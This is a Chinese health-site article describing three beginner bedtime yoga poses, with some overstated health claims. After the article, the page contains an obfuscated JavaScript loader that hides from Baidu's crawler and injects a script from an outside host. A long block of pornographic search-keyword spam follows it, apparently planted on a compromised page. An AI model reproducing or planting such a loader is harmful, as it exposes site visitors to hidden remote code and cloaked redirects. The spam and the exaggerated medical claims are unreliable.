當前位置:首頁 > 健康 > 運動健身 > 正文

睡前初級瑜伽要怎么做

2017-04-17 07:50:41  來源:360常識網   熱度:
導語:在生活中,我們可能沒有那么多的時間去運動的。我們可以選擇在睡前做幾分鐘的初級瑜伽的。做好了這些以后,我們就能擁有比較好的睡眠質量,

生活中,我們可能沒有那么多的時間去運動的。我們可以選擇在睡前做幾分鐘的初級瑜伽的。做好了這些以后,我們就能擁有比較好的睡眠質量,也可以鍛煉一下自己的身體。因此我們就要學習一下這些睡前初級瑜伽了。那么睡前初級瑜伽要怎么做?下面我們就來看看小編是怎么樣解答這一問題的吧。

方法一:

1、盤坐于床上,彎曲膝蓋,腳掌相對。雙手抓腳,挺直脊柱,腳后跟靠近會陰處。

2、吸氣,呼氣同時身體前屈,將額頭盡可能地靠近地板,保持正常的呼吸一分鐘。

功效:這個體式可以使腎臟,前列腺和膀胱保持健康(健康食品);同時對女性(女性食品)也非常有益處,可以調整不規律的經期,調節月經流量,促進卵巢功能正常。

Tips:盡量使兩膝靠近床面,結束動作后,伸直兩腿,抖動放松。

方法二:

1、 端坐于床上,伸直雙腿,雙手抓腳趾,伸直脊柱。

2、 吸氣,呼氣同時曲肘,身體靠近腿部,讓前額靠近膝蓋。正常呼吸,保持至少一分鐘。

功效:這個體式可以增強腹部器官,強健腎臟,活躍整個脊柱,并且改善消化(消化食品)功能。同時,可以按摩心臟及腹部器官,精神得到充分的放松。

Tips:注意雙腳要保持伸直,盡可能讓前額靠近膝蓋。

方法三:

1、 收右腿于臀部,左腳跨過右膝,使左腳放于右膝前方。

2、挺直脊柱端坐于床上。

功效:這個體式可能很快消除久坐造成的背痛,腰痛及臀部痛疼;在扭轉中肝脾得到強健,頸部肌肉得到強健,有效緩解肩頸的疲勞。

睡前初級瑜伽要怎么做這一問題的解答就是以上這些內容了,希望大家能從中得到比較好的幫助了。我們如果不想做這些睡前初級瑜伽的話,我們還是可以做一些平時做的運動。最后也希望我們大家能夠遠離疾病的困擾,過上健康幸福的生活!

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久99精品视频在线观看婷亚洲片国产一区一级在线 | 久久精品免看国产| 人成精品视频三区二区一区| 韩国精品一区视频在线播放| 99久久99久久久精品齐齐| 日韩精品久久无码人妻中文字幕 | 中文字幕在线亚洲精品| 国产精品视频一区二区三区不卡| 国产精品无码一区二区三区免费| 色婷婷激情av精品影院| 99久久国产热无码精品免费| 91精品国产网曝事件门| 91手机看片国产福利精品| 久久国产亚洲精品无码| 无码人妻精品一区二区三区99仓本 | 国产精品久久现线拍久青草| 99精品全国免费观看视频| 久久亚洲精品无码网站| 国产精品一区二区毛卡片| 久久精品人人做人人爱爱| 国产精品反差婊在线观看| 久久亚洲欧美国产精品| 精品国产男人的天堂久久| 国产精品综合一区二区| 国产精品成人va在线观看入口 | 久久精品亚洲精品国产色婷| 无码人妻精品一区二区三区夜夜嗨 | 最新精品国偷自产在线| 国产午夜精品一区理论片飘花| 国内精品伊人久久久久网站| 中文精品久久久久人妻| 麻豆精品成人免费国产片| 久久亚洲精品成人综合| 99re视频精品全部免费| 国产成人精品综合网站| 亚洲精品宾馆在线精品酒店| 精品国产杨幂在线观看| 九九久久国产精品| 国内精品伊人久久久久777| 亚洲av无码精品网站| 久久伊人精品一区二区三区|